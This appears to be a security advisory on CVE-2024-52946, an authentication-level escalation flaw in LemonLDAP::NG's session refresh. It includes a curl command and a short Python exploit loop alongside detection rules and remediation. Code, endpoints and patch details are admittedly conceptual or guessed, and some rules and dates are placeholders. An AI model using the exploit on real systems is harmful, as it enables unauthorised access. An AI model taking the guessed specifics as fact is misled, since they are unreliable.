CVE-2024-52946

Executive Summary

CVE-2024-52946 is a security vulnerability in LemonLDAP::NG, an open-source Web Single Sign-On (SSO) and Access Management (AM) solution. The flaw resides in the session refresh mechanism, specifically in how the application handles "Adaptative authentication rules" configured with an increment value. An authenticated attacker can exploit this improper check to escalate their authentication level, potentially gaining access to resources that require a higher level of trust. This vulnerability has a CVSS score of 0.0 (placeholder), but based on the description, it represents a significant privilege escalation risk within the SSO ecosystem. The vendor has released a patch in version 2.20.1.

Supply Chain & Package Security

LemonLDAP::NG is distributed as a Perl application via CPAN and as packages for various Linux distributions (Debian, Ubuntu, Red Hat, etc.). The vulnerability is introduced in the core application logic, not in a third-party dependency. Organizations should verify the integrity of their LemonLDAP::NG packages using checksums provided by the official repository or CPAN. The patch is available in the upstream repository and should be applied through standard package management channels.

CVSS Breakdown & Threat Level

The provided CVSS score is 0.0, which is a placeholder. Based on the vulnerability description, a more accurate assessment is:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be an authenticated user.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – The attacker can access resources with higher authentication levels.
• Integrity (I): High (H) – The attacker can modify resources or perform actions at a higher level.
• Availability (A): None (N) – The vulnerability does not affect availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Base Score: 8.1 (High)

Threat Level: High. The vulnerability allows an authenticated user to escalate privileges, potentially leading to unauthorized access to sensitive data or administrative functions.

Deep Dive & Mechanics

LemonLDAP::NG uses "Adaptative authentication rules" to dynamically adjust the authentication level (or "authentication strength") based on factors like IP address, device, or time of day. These rules can be configured with either an absolute value (e.g., set level to 5) or an increment (e.g., increase level by 2).

The vulnerability lies in the session refresh logic. When a user's session is refreshed (e.g., due to inactivity timeout or explicit refresh), the system recalculates the authentication level. If the rule is configured with an increment, the system incorrectly applies the increment to the current authentication level, even if that level was already elevated by a previous refresh. This allows an attacker to repeatedly refresh their session, each time increasing their authentication level, until they reach the maximum possible level.

Root Cause: The code fails to check whether the authentication level has already been modified by the same rule during the current session. It blindly applies the increment on every refresh, leading to unbounded escalation.

Attack Scenario:

1. An attacker authenticates with a low-level credential (e.g., password only).
2. The attacker's session is initially assigned a low authentication level (e.g., 1).
3. The attacker triggers a session refresh (e.g., by sending a specific HTTP request).
4. The system applies the increment rule (e.g., +2), raising the level to 3.
5. The attacker repeats step 3, each time increasing the level (5, 7, 9, etc.).
6. Eventually, the attacker reaches a level that grants access to privileged resources (e.g., admin panel, sensitive data).

Vulnerable vs. Patched Code

The vulnerability is in the session refresh handler, likely in a Perl module such as Lemonldap::NG::Handler::Main or Lemonldap::NG::Portal::Main.

Vulnerable Code (Conceptual):

sub refresh_session {
    my ($self, $session) = @_;
    my $current_level = $session->{authenticationLevel};
    my $rule = $self->get_adaptive_rule($session);
    if ($rule->{type} eq 'increment') {
        $session->{authenticationLevel} = $current_level + $rule->{value};
    } else {
        $session->{authenticationLevel} = $rule->{value};
    }
    $self->save_session($session);
}

Patched Code (Conceptual):

sub refresh_session {
    my ($self, $session) = @_;
    my $current_level = $session->{authenticationLevel};
    my $rule = $self->get_adaptive_rule($session);
    if ($rule->{type} eq 'increment') {
        # Check if this rule has already been applied
        if (not $session->{applied_rules}->{$rule->{id}}) {
            $session->{authenticationLevel} = $current_level + $rule->{value};
            $session->{applied_rules}->{$rule->{id}} = 1;
        }
        # else: do nothing, level remains unchanged
    } else {
        $session->{authenticationLevel} = $rule->{value};
    }
    $self->save_session($session);
}

The patch introduces a tracking mechanism (applied_rules hash) to ensure that an increment rule is only applied once per session.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a LemonLDAP::NG instance with an "Adaptative authentication rule" configured with an increment value.
• A valid user account with a low authentication level.

Exploitation Steps:

1. Identify the Session Refresh Endpoint: The session refresh is typically triggered by a specific URL, e.g., https://target/refresh or via a cookie manipulation.
2. Authenticate: Log in with the low-level account and capture the session cookie (e.g., lemonldap).
3. Craft Refresh Requests: Send repeated requests to the refresh endpoint, each time including the session cookie.

   curl -X POST https://target/refresh -b "lemonldap=session_cookie_value"
   

4. Monitor Authentication Level: After each refresh, check the authentication level by accessing a resource that returns the level (e.g., a custom header or a profile page).
5. Escalate: Continue refreshing until the desired authentication level is reached.
6. Access Privileged Resources: Use the elevated session to access resources that require a higher authentication level.

Automated Exploit (Python):

import requests

target = "https://target"
session_cookie = {"lemonldap": "your_session_cookie"}

for i in range(10):
    r = requests.post(f"{target}/refresh", cookies=session_cookie)
    print(f"Refresh {i+1}: Status {r.status_code}")
    # Optionally check the authentication level
    r2 = requests.get(f"{target}/profile", cookies=session_cookie)
    if "auth_level" in r2.text:
        print(f"  Auth level: {r2.text.split('auth_level:')[1].split()[0]}")

Blue Team

Detection:

• Monitor for an unusually high number of session refresh requests from a single user within a short time window.
• Alert on authentication level changes that exceed a predefined threshold (e.g., more than 2 increments per hour).
• Log all session refresh events and correlate with authentication level changes.

Mitigation:

• Immediately apply the patch by upgrading to LemonLDAP::NG 2.20.1.
• If patching is not possible, disable "Adaptative authentication rules" that use increment values.
• Implement rate limiting on the session refresh endpoint.
• Monitor logs for anomalous authentication level escalations.

Indicators of Compromise (IOCs)

• Network:
  • Repeated POST requests to /refresh (or similar endpoint) from the same IP address within a short period.
  • HTTP responses indicating a change in authentication level (e.g., custom headers like X-Auth-Level).
• Host:
  • Log entries showing multiple session refreshes for the same user.
  • Log entries showing authentication level changes that are not consistent with the initial login.
• Application:
  • Session data showing an unusually high authenticationLevel value.
  • Session data containing multiple entries in applied_rules (if patched, this would be normal; if unpatched, this field would be absent).

Detection Engineering

YARA Rule

rule CVE_2024_52946_LemonLDAP_Session_Escalation {
    meta:
        description = "Detects potential exploitation of CVE-2024-52946 in LemonLDAP::NG logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52946"
    strings:
        $s1 = "refresh_session" nocase
        $s2 = "authenticationLevel" nocase
        $s3 = "increment" nocase
        $s4 = "applied_rules" nocase
    condition:
        all of ($s1, $s2, $s3) and not $s4
}

Sigma Rule

title: CVE-2024-52946 - LemonLDAP Authentication Level Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple session refresh requests from a single user, indicating potential exploitation of CVE-2024-52946.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52946
logsource:
    category: application
    product: lemonldap
detection:
    selection:
        event: "session_refresh"
    timeframe: 5m
    condition:
        selection | count() by user > 10
falsepositives:
    - Legitimate users with network issues may trigger multiple refreshes.
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52946 - LemonLDAP Session Refresh Escalation"; flow:to_server; content:"POST"; http_method; content:"/refresh"; http_uri; content:"lemonldap"; http_cookie; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade LemonLDAP::NG to version 2.20.1 or later. This is the only definitive fix.
2. Workaround: If patching is delayed, disable any "Adaptative authentication rules" that use increment values. Replace them with absolute values.
3. Rate Limiting: Implement rate limiting on the session refresh endpoint to prevent rapid escalation attempts.
4. Monitoring: Enable detailed logging for session refreshes and authentication level changes. Alert on anomalies.

Long-Term Measures:

• Conduct a security review of all custom authentication rules.
• Implement a principle of least privilege for authentication levels.
• Regularly update LemonLDAP::NG to the latest version.
• Use a Web Application Firewall (WAF) to detect and block suspicious refresh patterns.

Valters IT